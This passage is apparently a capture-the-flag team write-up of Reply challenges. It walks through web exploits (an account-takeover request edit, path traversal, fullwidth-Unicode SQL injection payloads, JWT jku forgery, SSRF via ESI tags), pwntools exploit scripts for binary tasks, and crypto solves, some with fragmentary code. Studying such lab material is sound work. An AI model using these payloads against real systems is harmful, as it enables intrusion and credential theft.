3. Click on the spinning dice. In the source page of “Main Menu” you can found and interesting variable used in the `executeCommand` function.
`````` var masterName = "master@4be3b0e9-a58d-4b53-8eb3-dcf3414877f1.com";
``````

We now have the master email.

4. Change master password: From “Profile” page we can change our password by entering our credentials, but we can intercept the request with BurpSuite and change the `email` parameter with master’s email:
`````` email=fake@mail.com&old=fakepassword&new=newpassword
``````

Insert a generic password in the `new` parameter:

`````` email=master@4be3b0e9-a58d-4b53-8eb3-dcf3414877f1.com&old=fakepassword&new=newmasterpassword
``````

We forward the modified request and we have changed the master password!

5. Now login with master’s creds and access to master page. From there we can select three files:
• `campaign.txt`
• `player1.txt`
• `player2.txt`

We can analyze the request with BurpSuite clicking `Load` button and notice this body parameter:

`````` note=campaign.txt
``````

looks like a sort of file inclusion vulnerability. We can manipulate this parameter with Repeater function in BurpSuite (`ctrl+r` to send to the Repeater)

`````` note=/
``````

with this parameter we are redirected to a page named troll… But in the source code of it there is an interesting comment:

`````` <!-- TODO: review all the /secret notes and make them accessible. See: https://pastebin.com/TJMXHEB9 -->
``````

We can access to the pastebin code but if we try with:

`````` note=/secret/flag.txt
``````

And get the flag!

### Web 200

This challenge is a webpage with a search box for emojis. We can immediately see from the `message.txt` file that there is a sqlite db on the backend side.

Inspecting further the code snippet contained in the message we can see that there is a custom sql escape done before a unicode normalization, this means that we can send a query written in unicode characters and this query would be normalized to the ascii version bypassing the filter. We used a unicode fullwidth converter to write the queries in unicode.

So, we sent a query to list the sqlite tables and columns:

`＇ ｕｎｉｏｎ ＳＥＬＥＣＴ ＇ｐｒｅｆｉｘ＇，90，＇ｐｒｅｆｉｘ＇，name ｆｒｏｍ ｓｑｌｉｔｅ＿ｓｃｈｅｍａ －－`

`＇ ｕｎｉｏｎ ＳＥＬＥＣＴ ＇ｐｒｅｆｉｘ＇，90，＇ｐｒｅｆｉｘ＇，name ｆｒｏｍ ｐｒａｇｍａ＿ｔａｂｌｅ＿ｉｎｆｏ（＇ｒ３ｐｌｙｃｈ４ｌｌ３ｎｇ３ｆｌ４ｇ＇） －－`

After that we could create the query that would print us the flag:

`＇ ｕｎｉｏｎ ＳＥＬＥＣＴ ＇ｐｒｅｆｉｘ＇，90，＇ｐｒｅｆｉｘ＇， value ｆｒｏｍ r3plych4ll3ng3fl4g －－`

`{FLG:O0O0OP5_1_H4V3_B33N_PWN3D_(54DF4C3)!}`

### Web 300

We are presented with a sock shop, with six clickable products, each one with a dedicated page but without meaningful interactions. The navbar presents “Login”, “Register” and “About Us” links; register does only redirect on the homepage, while login presents the login form (with which we cannot login, since we cannot register).

The about us page allow us to discover that there are two founders (@gigi and @tony1987) which are presumably admin accounts. There is also a open position for a developer.

The developer position has a clickable card that follows the link

``````/24bfaaddbd56755e48876b92144c1be38d56de29/open_position?position=developer
``````

Which we found to be an `open redirection` and changing `developer` to an external URL, we are effectively redirected to the website

e.g. `/24bfaaddbd56755e48876b92144c1be38d56de29/open_position?position=https://www.google.com` redirects us on google homepage.

We found that the website sets a cookie `access_token_cookie` which is a JWT for the current user session

Analyzing it on jwt.io:

we can see that the websites exposes at the `/jwks` endpoint the public key related to the private key used to sign the certificates.

we can also see that we are logged in as an `anonymous` user.

This suggested us that we could use the open redirection to modify the jwt in order to show an handcrafted `jku`, pointing at a public key generated by us, thus allowing us to sign the certificates with our private key.

We then tried to locally host a public key and tried to make the website reach for it by setting up a public ip with `ngrok`. Since no requests passed through, we discovered that external URLs where filtered.

e.g.

``````jwtHeader = {
}
``````

By looking up the request at the open redirection link, we found a custom HTTP Header

``````ReplyFW-ALLOWED-INTERNET: https://gist.githubusercontent.com
``````

Which hinted that we could reach content hosted on GitHub gists. We then proceeded to host our public key on gist and were able to correctly sign JWTs.

By looking at the About Us page, we guessed that the admin could be one of the two listed users, so we tried to change `"sub": "anonymous"` in the jwt to `"sub": "gigi"`, since it was listed as ‘Sys Admin’.

The website correctly accepted our JWT and we were identified as admin.

Analyzing the link `http://gamebox1.reply.it/24bfaaddbd56755e48876b92144c1be38d56de29/verify_registered?key=4c012936c5246171bfa1908f81a5eead`

we discovered that the key query value `4c012936c5246171bfa1908f81a5eead` was and md5 of an username (`mike1991`)

So we could try to use the username of the admin to obtain the correct key. Trying with the md5 of `gigi` yielded no results, so we tried to guess from `mike1991` that we needed the birthyear of the admin.

By going back on the About Us page, it is mentioned that @tony1987 and @gigi are twins, so the year must be the same.

Then by visiting

``````http://gamebox1.reply.it/24bfaaddbd56755e48876b92144c1be38d56de29/verify_registered?key=55060d3ca52960cb070c5692a0cc814e
``````

We could obtain our verification code

Each text input field made a POST request when clicking on `Update` to

``````http://gamebox1.reply.it/24bfaaddbd56755e48876b92144c1be38d56de29/f1103cad4b0542c69e23b267e173799295c4f217
``````

But that did not seem to change anything on the page or give interesting responses, whichever input we gave it.

On the other hand, the `Download report` button downloaded the file `22-10-orders.txt` with the content

`No orders yet :'(`

The name of the file is specified in the POST request data

``````{
"report":"22-10-orders.txt"
}
``````

by changing the file name we were presented an error if the file was not present on the server (for example flag.txt)

``````Unexpected error: the file does not exist or you do not have permissions to read it:
/home/web3/reports/flag.txt
``````

so we could then discover that we were in the folder `reports` in the home directory of the user `web3`.

We then tried to see if we had access to path traversal, but using a filename such as `../flag.txt`; we saw that the `../` were escaped/filtered in the response.

By applying a simple anti-filtering technique we could have access to path traversal with `....//`

``````{
"report": "....//flag.txt"
}
``````

the output was finally

``````Unexpected error: the file does not exist or you do not have permissions to read it:
/home/web3/reports/../flag.txt
``````

But we still had no access to the file or it was not present on the server.

We then tried all common files present on a linux home folder, and we discovered the presence of the `.bash_history` file.

As a response we got

and in particular we discovered the presence of `/home/web3/scripts/run_webapp.sh`

``````{
"report": "....//scripts/run_webapp.sh"
}
``````

we got the response `python /bin/webapp/app.py -f {FLG:Le4ve_my_S0cks_4l0ne}`

### Web 400

We’re presented with a simple website with a news tab containg some informations regarding a possible `Edge-Side-Includes` implementation inside the server.

Further investigating the functionalities of the webpage we find a contact page that renders an ESI payload inside the contact request body. Sending as payload `<esi:include src="http://example.com/">` gives us `<esi:error hidden="">Hostname or port not in whitelist. Hosts allowed: ['172.20.0.4']; Ports allowed: [5000].</esi:error>` as rendered body. So we start digging inside this internal network endpoint, and we could easily find some useful informations inside the robots.txt file:

``````User-agent: *
Disallow: /graphql
Disallow: /test
``````

Inside /test we could see a message:

``````This is a test page I made to check if the Authorization header has been correctly added to the requests coming from the ESI server.

If you see your username below, then this request was correctly authenticated and your ESI server can successfully communicate with this machine and its services (e.g., graphql).

To other developers on the team: recall that we also have an ESI tag that can access values of specific request headers (esi:header).
``````

Trough this endpoint we could see that using `<esi:header name="Authorization">` we would get as a response our Authorization header that we added to the outside request. We also found out that if we didn’t send any Auth header a default one would be added: `ZXNpLXVzZXI=:MTY2NTQ4MDYzMQ==` which decoded is esi-user:1665480631. With the password being souspiciously similar to a timestamp.

Next we started quering the graphql endpoint, trough simple requests we could get the objects declared in the environment:

``````{"data":{"__schema":{"types":[{"name":"User"},{"name":"ID"},{"name":"String"},{"name":"UserExtended"},{"name":"Boolean"},{"name":"UsersResult"},{"name":"UserResult"},{"name":"FlagResult"},{"name":"Query"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}
``````

After that we inspected the Flagresult object:

``````{"data":{"__type":{"fields":[{"name":"success"},{"name":"errors"},{"name":"flag"}
``````

So we started querying for this object but we couldn’t get the flag and printing the errors attribute we get:

``````{"data":{"flag":{"errors":["Only user 'admin' can perform this operation."]}}}
``````

So we need to login as admin to get this flag. Upon searching a little deeper in to the graphql environment we find that a type User includes a last login timestamp. So we tried getting the flag using the admin last login timestamp as a password.

We added the Authorization header: `Authorization: YWRtaW4=:MTY2NTY0OTUxMQ==`

And we could successfully get the flag trough the simple graphql query:

``````<esi:include src="http://172.20.0.4:5000/graphql?query={flag{flag}}">
``````

Response:

``````{"data":{"flag":{"flag":"{FLG:XSS_4nd_SSRF_f0rb1dd3n_ch1ld}"}}}
``````

## Binary (4/5)

### Binary 100

This was a reverse challenge. The provided file is a 64-bit ELF that asks to find the right word (and prints Wesley the cat). Trying to insert a random word, the binary returns an error on the word length and terminates. Using ghidra and IDA to decompile the binary, it is evident from the main how the required length is 24. Trying to insert a 24 length word, the returned error changes. Now we have to understand which word the binary expects to receive. From the decompiled code we can see 24 different checks on each character of the input. Each of them considers the chars as numbers (double) and performs some mathematical operations. At the end, we just need to solve an algebraic system and then convert the results into printable characters. We wrote a z3 script to do it.

``````buf_d = [z3.Real(f"{i:02}") for i in range(24)]

solver = z3.Solver()

solver.add (buf_d[0] + buf_d[0] + 11.0 == buf_d[0] + 130.0)
solver.add (buf_d[23] + buf_d[23] + 6.0 == buf_d[23] + 127.0)
solver.add (buf_d[1] * 7.0 == buf_d[1] + 396.0)
solver.add ((buf_d[2] + 2.0) * 3.0 - 2.0 == (buf_d[2] - 17.0) * 4.0)
solver.add (buf_d[21] == (buf_d[21] + buf_d[21]) - 44.0)
solver.add ((buf_d[20] * 3.0 - 2.0) * 3.0 - (buf_d[20] * 5.0 + 2.0) * 4.0 ==buf_d[20] * -8.0 - 146.0)
solver.add ((buf_d[4] * 5.0 - 2.0) * 5.0 - (buf_d[4] + buf_d[4] + 7.0) * 6.0 ==buf_d[4] * 33.0 - 1132.0)
solver.add (buf_d[19] == (buf_d[3] + buf_d[20]) - 16.0)
solver.add ((buf_d[5] + buf_d[5]) / 3.0 == (buf_d[5] + 44.0) / 3.0)
solver.add ((buf_d[6] * 8.0 + 15.0) * 0.1666666666666667 ==(buf_d[6] + buf_d[6] + 81.0) * 0.5)
solver.add (0.0 - buf_d[16] / 5.0 == 36.0 - buf_d[16])
solver.add ((buf_d[7] * 7.0) / 2.0 == buf_d[7] * 3.0 + 23.5)
solver.add (buf_d[14] == buf_d[14] / 2.0 + 48.0)
solver.add (buf_d[13] == buf_d[14] / 2.0 - 1.0)
solver.add ((buf_d[12] == buf_d[11]) , (buf_d[11] == 108.0))

assert solver.check() == z3.sat
m = solver.model()

word = ''
for el in buf_d:
evaluation = m.evaluate(el)
value = round(float(evaluation.as_fraction()))
word += chr(value)

print('The word is:', word)
``````

Our script returned the string `wBHC6,r/nh0ll/`[-1[_,,hy` that actually is accepted by the binary that returns the message `Word found! But it's not the flag. Awww :3`. Now we have to undestand where the right flag is. From the decompiled, we can see how, after the checks, the strings are used and altered in some way. Unfortunately, neither ghidra and IDA decompile this part in an acceptable way. We decided to try a dynamic approach. Since the binary calls a ptrace, it is needed to patch the code and avoid the tracing before running the challenge with gdb. Performed this step, it is pretty easy to see how each character of the word is incremented by 4. Hence, the final string is the actual flag.

``````flag = ''
for l in word:
flag += chr(ord(l)+4)

print('The flag is:', flag)
``````

`{FLG:0v3rl4pp3d_15_c00l}`

### Binary 200

A Docker container with the challenge is provided. The binary is a `Linux 64-bit ELF`. We openend it in IDA to reverse engineer it. When started, the service asks for a password. From IDA, we can recover it. `strcmp(s1, "secret_passwd_anti_bad_guys")` Succesively, he random seed is init to `time(0)`, and two function are invoked.
From this moment on, for the sake of the writeup, we consider the binary loaded at address `0x0`. The first one, `sub_13E7`, prints some introduction messages, and call the function `sub_12F2`. There we discover the existence of `sub_1245(int n)`. It generates a random string of n characters. Each character is generated by taking a random character from the string `abcdefghijklmopqrstuvwxyz`. It’s done by generating a random index with libc’s `rand()` function. We notice `sub_12F2` is invoked 11 times, each time with length 5 as paramater.

The succesively invoked function is the main loop of a game. You insert the string corresponding to a move, and the corresponding function is called. The `Help` move shows the available moves.

``````    "Help     print help menu"
"Exit     close the connection"
"Jump     move to the next plant"
"GetName  get planet name"
"Rename   rename planet"
"Check    check if you can overflow the stack"
"GoBack   move to the previous planet"
"Search   looking for Zer0"
"Nap      Get a nap"
``````

The most interesting move is `Admin`. From the array of function pointers at `0x19CE`, we open `sub_17D3`, that is the one associated to `Admin`. It asks for a secret password of 30 characters ,randomly generated by `sub_1245`. If it’s correct, `sub_1886` is invoked, asking for a command (up to 8 characters) to pass to `system` primitive.

We know that, in program initialization, random seed is intitialized to `time(0)` and `rand` function is invoked `11 * 5` times before the password is generated. So the attack plan is

• Open `libc` in exploit with `CDLL` python’s library
• Open the connection to the service
• Immediately call in the exploit `libc.srand` to set random seed to `libc.time(0)`. This allows to have locally the same seed used remotely
• Generate `5 * 11` random values, to bring the `PRNG` state to the same one before passowrd generation
• Generate the 30 characters secret password
• Use the `Admin` move
• Call the `/bin/sh` command
• Get the flag!

Final exploit

``````from pwn import *
from ctypes import *

# PWN 200

CHARS = b"abcdefghijklmnopqrstuvwxyz"

for i in range(n):
password += CHARS[libc.rand() % 26].to_bytes(1, "little")

# TLDR: Seed can be guessed very easily given that it is initialize with time(0)

# c = process("./challs")
libc = CDLL("libc.so.6")
libc.srand(libc.time(0))

c.recvuntil(b"Passwd: ")
c.recvuntil(b">")

for i in range(5 * 11):
libc.rand()

c.interactive()
``````

### Binary 300

A Docker container is provided with this challenge. Looking at Dockerfile and start.sh files, the service bin/challenge is exposed on the network when the container is started.

So, after understanding that `challenge` is a Linux ELF 64-bit binary, we opened it in IDA to reverse engineer it.

When the main function is called, the service asks for a password (easily recoverable from the `check_password`function, and it’s `ae86b59869f0806b5f53b_be20c200469a9a0ebfdbbe4__`). We are now asked for an input. With input `8`, we are able to print a menu of functions.

``````Options:
1. Create secret
2. Delete secret
3. Show secret
4. List secrets
5. Change codes
7. Show codes
8. Help
9. Exit
``````

From this moment on, for the sake of the writeup, we consider the binary’s base address `0x0`

Some global variables discovered during the analysis, and that will be used further in this writeup are:

• `aTmpSecret1`: the address of the first element of an array of strings, from this moment on called `secretsPath`; it’s located at `0xC010`
• `code1` and `code2`, two `32-bit` integers located respectively at `0xC040` and `0xC048`

A recurrent function that is called during the execution is `get_secret_dir`. It asks for a secret number `num`, such that `0 < num <= 3` (out of this range, `num` is set to 1). Then, it returns the pointer to the `num - 1`-th element of `secretPath` array.

1. Create secret:
First of all, the function `get_secret_dir` is called. Than user is prompted for a `password` and a `message`. At the end, it creates the secret on the filename returned by `get_secret_dir`. The content written on the file can be retrieved from this function invocation. `fprintf(stream, "%s%s%p%p\n", password, message, (const void *)code1, (const void *)code2);` \

2. Delete secret:
Through `get_secret_dir` retrieves the number of the secret to delete, and delete the corresponding file using `unlink(filename)`

3. Show secret:
It asks for a preuth key
• If it’s provided `0x13371337`, it asks for a secret number following the same assignment logic of `get_secret_dir` function
• If it’s provided `0xdeadbeef`, the secret number is set to 1.

Than, it tries to open the corresponding secret file, asks for the password, and if it’s correct, it prints the content of the chosen secret.

4. List secrets:
This option checks for the existence of each file in the `secretPath` array, and prints out the filename of existing files.

5. Change codes:
Allows you to change the content of `code1` and `code2` variables, and to call `Show secret function`, if answer to question prompt is `y`. You are allowed to change `code1` and `code2` only by providing 0x13371337 pre-auth key; it’s prompted only if you negatively answer to also call `Show Secrets`

Not available option, since it just prints `#TODO`

7. Show codes:
`printf("code1:%p code2:%p\n", (const void *)code1, (const void *)code2);`
it just prints in hexadecimal format the content of `code1` and `code2` global variables.

While deepely reverse engineering each function, we found some interesting facts:

• in `show_secrets` function, when checking the file password, function `sub_19D9(input_password, file_password)` is called. It returns `True` either if it’s entered the corret password of the file, or the backdoor password `Wild BackD00r appeared!`
• in `show_secrets` function, the secret number validation is broken;
`if ( num > 0 && num <= 4 && (--num, filename = &aTmpSecret1[16 * num], (stream = fopen(filename, "r")) != 0LL)`
previously allowed values for secret number were `1,2,3`, while here also 4 is accepted. Moreover, the filename that will be opened is `&aTmpSecret1[16 * num]`. Since `&aTmpSecret1` is 0xC010, with num == 4 we access to 0xc040, that is the address of `code1`. We have control of it!

So, to get the flag, the attack plan is:

• Call `Change code` function, and set code1 and code2 to some numbers that, as string, will be interpreted as flag file path (from Dockerfile, binary is launched from /home/ctf directoty, and from there relative path to the flag is `home/flag.txt`). To do this, we set code1 to `7020098272914927464`, and code2 to `500237086311`. In fact, ```python from pwn import *

In [4]: p64(7020098272914927464) Out[4]: b’home/fla’

In [5]: p64(500237086311) Out[5]: b’g.txt\x00\x00\x00’

``````

- Call `Show Secrets` with preauthkey 0 and any password. This is needed to set the variable holding the `preauthkey` to 0, so that each primitive is invoked with `preauthkey` 0 (different to `0xdeadbeef` or `0x13371337`).

- Call`Change Codes`, allowing to successively call `Show Secrets`.
- `Change Codes` will be called with `preauthkey` 0, that was set by the previous call to `Show Secrets`
- The input codes will be `code1 = b"A" * 31` and `code2 = b"B" * 28 + b"\x04\x00\x00"`. This allows to dirt the stack frame of the successive call to `Show Secrets`. In particular, the input for `code2` allows to have secret number 4 when calling `Show Secrets`. Pay attention that codes won't be changed, since `preauthkey` is not 0x13371337, leaving `home/flag.txt` as content of `code1` and `code2`
- when `Show Secrets` is invoked, no secret number is asked, since `preauthkey` is set to 0, and the value will be `4`. The provided password is the backdoor one.

The last invocation to `Show Secrets` openend the file flag.txt, the check for password was bypassed with backdoor password, and we got the flag!
Final exploit:
```python
import string
from pwn import *

c.recvuntil(b'>')
c.sendline(b"1")
c.recvuntil(b'Insert secret (0 < index < 4):')
c.sendline(str(secret).encode())
c.recvuntil(b"Insert msg:")
c.sendline(msg)
c.recvuntil(b"Secret created")

def delete_secret(secret):
c.recvuntil(b'>')
c.sendline(b"2")
c.recvuntil(b'Insert secret (0 < index < 4):')
c.sendline(str(secret).encode())
c.recvuntil(b'Secret deleted')

def show_secret(preauthkey, password, secret = None):
c.recvuntil(b'>')
c.sendline(b'3')
c.recvuntil(b'Insert pre-auth key')
c.sendline(preauthkey)
c.recvuntil(b"Invalid index\n")

def list_secret():
c.recvuntil(b'>')
c.sendline(b'4')
c.recvuntil(b"List of secrets:")
leak = c.recvuntil(b'Done list of secrets')
return leak

def change_codes(code1, code2, access, preauthkey = None, secret = None, password = None):
c.recvuntil(b'>')
c.sendline(b'5')
c.recvuntil(b"Do you want to call 'Show secret' function also")
c.sendline(access)
if access == b'n':
c.recvuntil(b'Insert pre-auth key')
c.sendline(b'322376503')
c.recvuntil(b'Insert code 1')
c.send(code1)
c.recvuntil(b'Insert code 2')
c.send(code2)
if access == b'y':
if preauthkey == 0x13371337:
assert secret is not None
c.recvuntil(b'>')
c.sendline(b'3')
c.recvuntil(b'Insert pre-auth key')
c.sendline(str(preauthkey).encode())
if preauthkey == 0x13371337:
c.recvuntil(b'Insert secret (0 < index < 4)')
c.sendline(str(secret).encode())
leak = c.recvuntil(b"Done")
return leak

c.recvuntil(b'>')
c.sendline(b'5')
c.recvuntil(b"Do you want to call 'Show secret' function also")
c.sendline(b"y")
c.recvuntil(b'Insert code 1')
c.send(code1)
c.recvuntil(b'Insert code 2')
c.send(code2)
leak = c.recvuntil(b"Done")
return leak

def show_code():
c.recvuntil(b'>')
c.sendline(b'7')
leak = c.recvline()
return leak

c.send(b"ae86b59869f0806b5f53b_be20c200469a9a0ebfdbbe4__")
change_codes(b"7020098272914927464".ljust(31, b"\x00"), b"500237086311".ljust(31, b"\x00"), b'n')
show_secret(b"0", b"not_important")
leak = change_codes_final(b"A" * 31, b"B" * 28 + b"\x04\x00\x00", b"Wild BackD00r appeared!\x00")

print(leak)

c.interactive()
``````

### Binary 400

This challenge provides a 64-bit ELF, a kernel module, and a bash script to start a qemu instance. The bash script also contains some comments with a link to a Ubuntu ISO and the kernel version to use. No qcow2 image was given.

We spent a bit to set up the right environment. In detail, we:

• run qemu with the bash script adding the `-s` option to allow an easy gdb attach;
• created the user `user` as required by the challenge binaries;
• inserted and loaded the kernel module and granted the right permission to the created device;
• started pwnme (it spawns a socket to which we can connect to interact with the actual challenge).

We reversed both the ELF and the kernel module using ghidra and IDA.

At the very beginning, the challenge asks to verify our identity. If a random answer is provided, the challenge does not allow to go further. Analyzing the function that verifies the identity, it is easy to see how our input is compared with a hardcoded string. Taking into account the endianness, the right identity is hence `_g3nn4r0_f3r10p3z_`. Now, we have four different actions that the challenge allows to perform:

1. discover dimensions: prints some portal ids;
2. dimension info: prints some information associated with a specific dimension. One of this information is called flg (is it the flag slot?). It requires to first select the dimension using the option 3;
3. select dimension: allows to select a specific dimension. If the provided dimension id is lower than 1, it is put equal to one;
4. write message: allows us to write something and prints a message from the portal. This portal message is randomly chosen from a set of hardcoded strings. It requires to first select the dimension using the option 3;

To easily interact with the challenge, we wrote some primitives in python using the pwntools like the following ones.

``````def check_identity():
io.recvuntil(b'#> ')
io.sendline(b'_g3nn4r0_f3r10p3z_')

def discover_dimensions():
io.sendline(b'1')
leak = io.recvline()
return leak

def get_dimension_info():
io.sendline(b'2')
selected = io.recvline()
leak = io.recvline()
return selected, leak

def select_dimension(dimension):
io.sendline(b'3')
io.sendline(dimension)

io.sendline(b'4')
io.recvuntil(b'mESSAGE fROM tHE dIMENSION')
leak = io.recvline()
return leak
``````

Reading the decompiled code, we noticed a 8-bytes overflow in the send message option. In brief, the code reads 0x400 bytes in a 0x3f8 long buffer. In this way, we can overwrite some information like the id and some other values that we did not know how to use at this point. Now we should understand better how the module works. The get dimension info function (that should print the flag) calls the greentooth_ioctl, so we first focused our attention on how the passed parameters are used by it. We analyzed the code behaviour both statically and dynamically. The first two dimensions (id1 and id2) are different w.r.t. the other ones and contain some info that are set to zero for the other ids. Indeed, in the kernel module code, there is some hard coded data. More interesting, the id 1 dimension data contains the string `{FLG:7h15_15_7h3_f14g}` in the position where there should be the flg info. Now we know where the flag is but we need to understand why it is not printed when we call the print dimension info option with id 1. We reversed the `simple_a2mp_getinfo_req` function of the kernel module and noticed how the information retrieved was different according to the sign of a specific parameter. If this parameter is positive, `simple_a2mp_produce_getinfo_rsp` is called and the flag is not returned. The parameter value depends on the arguments passed to ioctl by pwnme. It is not directly controlled by the user but is stored in memory in the byte after the dimension id, in the range of the overflow described above. Actually, the first overflowed byte is the id and the second one is the `simple_a2mp_produce_getinfo_rsp` activation parameter. Hence, the final attack pipeline is the following one:

1. select the dimension to access to all the options (send message and get dimension info);
2. send a message that overflows the parameters passed to ioctl. The id byte is overflowed with 1 (the dimension with the flag), while the following one with 0x80 (-1);
3. call the get dimension info option.
``````select_dimension(b'1')
payload = b'A'*0x3F8 + b'\x01' + struct.pack('<B', 0x80)
print(get_dimension_info())
``````

The result is:

``````b' sELECTED: 8001\n', b'{"code":"A2MP_GETINFO_RSP", "id": "1", "status: 0x1", "total_bw: 0", "max_bw: 0", "min_latency: 0", "pal_cap: 0", "assoc_size: 0", "flg: {FLG:~wh04_inf0134k_ch4mpi0n~}"}\n'
``````

## Crypto (3/5)

### Crypto 100

We were given a pdf file containing an image of a lair of some sort and 3 QR codes. First thing to do is obviously read the QR’s, which gave us three 32-bytes strings, but then we needed to know what to do with them. At the beginning of the challenge we didn’t know what a NFT was, so… we tried to guess some operation on these strings, but nothing made sense. After too much useless guesses I started googleing the challenge title and discovered what we had been given. On the site https://goerli.etherscan.io/ we found three transactions with the IDs we had previously found, and finally each of them led us to an image of a Rune. It was nothing like Tolkien elvish nor Viking runes, it was probably autogenerated with AI, so we started checking the image files with `binwalk` or `exiftool` with no results. At last we guessed that they had nothing to do with the challenge and took a better look at the transactions’ parties. The sender did another transaction just before the others, so we searched in it. We used CyberChef to decode the contract, which looked exactly like the others. Fortunately, serching all of the strings, we found the flag at the end!

### Crypto 200

The challenge gives us the parameters of a GET request encrypted with AES-CBC and wants us to forge a new one with a different username. The last block is just padding so we can do a bitflip attack xoring the previous block with the result of `xor(b"\x10"*16, f"&user={username}".encode().ljust(16, b"\x00"))` After trying every possible username we could come up with, we gave another look at `note.txt`, which had an interesting message:

``````# challenge title

# examples
Cleartext: message%3DFor%20a%20fullfilling%20experience%20embrace%20listen%20to%20new%20music%2E%20Pay%20attention%20to%20details%2C%20titles%20are%20important%2E%20And%20remember%2C%20music%20it%27s%20flipping%20amazing%26user%3Dmario

[...]
``````

We unquoted the cleartext just to make it more readable:

``````>>> from urllib.parse import unquote

>>> unquote('message%3DFor%20a%20fullfilling%20experience%20embrace%20listen%20to%20new%20music%2E%20Pay%20attention%20to%20details%2C%20titles%20are%20important%2E%20And%20remember%2C%20music%20it%27s%20flipping%20amazing%26user%3Dmario')
"message=For a fullfilling experience embrace listen to new music. Pay attention to details, titles are important. And remember, music it's flipping amazing&user=mario"

>>>
``````

This clearly meant that the challenge title was somehow going to tell us the username, and it must be something related to music. We searched “don’t forget the best bits” on Google and one of the first results was the lyrics to a song by Franz Ferdinand: https://genius.com/Franz-ferdinand-billy-goodbye-lyrics. The title of the song was “Billy Goodbye”. We were desperate, so we tried “billy” as the username, and unexpectedly we got the flag.

Final script:

``````import requests as r
from urllib.parse import quote

def xor(a, b, c):
return bytes([x ^ y ^ z for x, y, z in zip(a, b, c)])

(ctx, to_edit, last_block) = (ctx[:-32], ctx[-32: -16], ctx[-16:])
user = "billy"
print(target)
to_edit = xor(to_edit, ptx, target)
ctx = ctx + to_edit + last_block
assert len(ctx) == 240
print(res.content)
``````

### Crypto 300

The challenge gives us an unspecified 5MB file.

`file` tells us nothing. We opened the file with a hex editor, and noticed that there were several repeated sequences of bytes like `'\xaa\xbb\xcc\xdd`. Since this is a Reply crypto challenge with no source code, we guessed this was probably a repeated XOR. We quickly decoded the actual file:

``````def xor(x, y):
return bytes([a^b for a, b in zip(x, y)])
with open('challenge') as f:
with open('challenge2', 'wb') as f:
f.write(xor(s, b'\xaa\xbb\xcc\xdd'*10**7))
``````

We got what looked to be a disk image, so we mounted it and we saw a few of files. One of these files was `hint.txt`, which contained the following text:

``````The key to open the zip file is a compound word.
The first word is found within the sqlite file, the second is the maiden name of the lady in the picture.
``````

So we had to somehow decode the picture and read the contents of the sqlite file in order to decrypt the `rsa.zip` archive.

Another file in the archive is a pickle object (`dict.pkl`). Opening it in a Python REPL shows that the content is a single dictionary, with a bijective mapping from 0-255 to 0-255. Since this is a Reply crypto challenge with no source code, we guessed this is probably used for a byte-to-byte substitution cipher.

The picture mentioned by the hint is a noisy grayscale BMP image. Grayscale is represented well with a single byte per pixel, so we guessed this was encrypted with the pickle dictionary. We recovered the image with Pillow:

``````from PIL import Image
im = Image.open('portrait.bmp')
with open('dict.pkl', 'rb') as f:
for x in sub:
rev[sub[x]] = x
new = bytes([rev[i] for i in im.tobytes()])
newimage = Image.frombytes('L', im.size, new)
``````

We got to this image: Which, with a quick Reverse Image Search, we found out to be Ozzy Osbourne’s mother, Lillian Unitt.

To read the sqlite database, we just installed sqlite, opened it with `sqlite3 mywonderfulwebapp`, read the schema with `.schema`, read the contents with `SELECT * FROM users;`.

So the contents of the sqlite file are:

``````1|anonymouse|ddrussery@emailaing.com|592f3eab7921a05e13f89713e5d38953a1e91377dce316feeddafec6e79210a0|1948-12-03
2|regina_phalange|marselmannanov@tqc-sheen.com|db3fe1d185a9de6df0f026bd269302acb5f7783d8474a9382f96a7e914f397ef|1952-10-09
3|potatoxchipz|t2003cubs@nautonk.com|dfa21928c1d4af9ec27d927b68bd665af1360297a81d31799ee5e84f333b59fa|1984-10-27
4|churros4eva|mojdom@saxophonexltd.com|7ec802283374aed5389db2fc4aac488e6e799bbcdd2c8ed5a0c6a080cf2604dc|1985-11-08
5|hakuna_matata|joechu@omdiaco.com|2c671d707baa7b47a037f9df07fbe9eb632b6f8387f177eab188a3d89c874a77|1963-05-25
7|notfunnyatall|n96237d@cudimex.com|8d0cfd6182ef851052565eb5c11e79f73c691307f7b6ddb877b4303cc726f260|1930-02-10
8|cereal_killer|barbyoropeza@24hinbox.com|b5bafafc8a5142819ae993d0cc2abb1e21e617476bc5776e87587bfde365ec37|1974-02-08
11|nombnots|pawol69087@ekbasia.com|8a8b3febf641c615702c17731e0ca85896b27a331f33e95bc8b436b7e1a949f5|1988-02-10
13|monkey_butt|mudraporko@vusra.com|0d95887bd691678043195f1644efcde7312b71f6d4216a6aeb6bd7e30cfc5dd6|1979-06-22
14|screwball|lucumazu@teleg.eu|fbebd681120a1fc8906c5593f07265669d9130cbc06fdc08a7a30b08d24437de|1983-08-28
15|troublemaker|nusavufi@kellychibale-researchgroup-uct.com|9f13deb22cc66b56291845890646590c57b5d6d9108e9b2d9d46365d189aa271|1966-06-06
``````

Since we had a lot of combinations to try, we wrote a script that would try all of them:

``````#!/usr/bin/env python3

import pyzipper

words = [
'anonymouse',
'mouse',
'regina_phalange',
'regina',
'phalange',
'potatoxchipz',
'potato',
'chipz',
'churros4eva',
'churros',
'eva'
'hakuna_matata',
'hakuna',
'matata',
'kokonuts',
'nuts',
'notfunnyatall',
'not',
'funny',
'at',
'all',
'cereal_killer',
'cereal',
'killer',
'heisenberg_blue',
'heisenberg',
'blue',
'hackmarco',
'hack',
'marco',
'nombnots',
'chunkamunk',
'monkey_butt',
'monkey',
'butt',
'screwball',
'screw',
'ball',
'troublemaker',
'trouble',
'maker',
'ddrussery',
'marselmannanov',
't2003cubs',
'mojdom',
'joechu',
'n96237d',
'barbyoropeza',
'shaneyreid91',
'assuero',
'pawol69087',
'cityve',
'mudraporko',
'lucumazu',
'nusavufi'
]

delimiters = ['', ' ', '-', '_', '.', ',']

for w in words:
for d in delimiters:
try:
with pyzipper.AESZipFile('rsa.zip') as f:
f.pwd = w.encode() + d.encode() + b'unitt'
print(f.pwd)
# print(f.infolist())
except RuntimeError as e:
# print(e)
pass
``````

But no combination we tried would successfully decrypt the zip file. Since this is a Reply crypto challenge with no source code, we tried reversing the password hashes we found in the sqlite file on CrackStation, and we hit a match on one.

``````sha256('alessio') = "8d0cfd6182ef851052565eb5c11e79f73c691307f7b6ddb877b4303cc726f260"
``````

So we tried “alessiounitt” as the zip password and it worked. Inside `rsa.zip` we saw two files: `ciphertext.txt`:

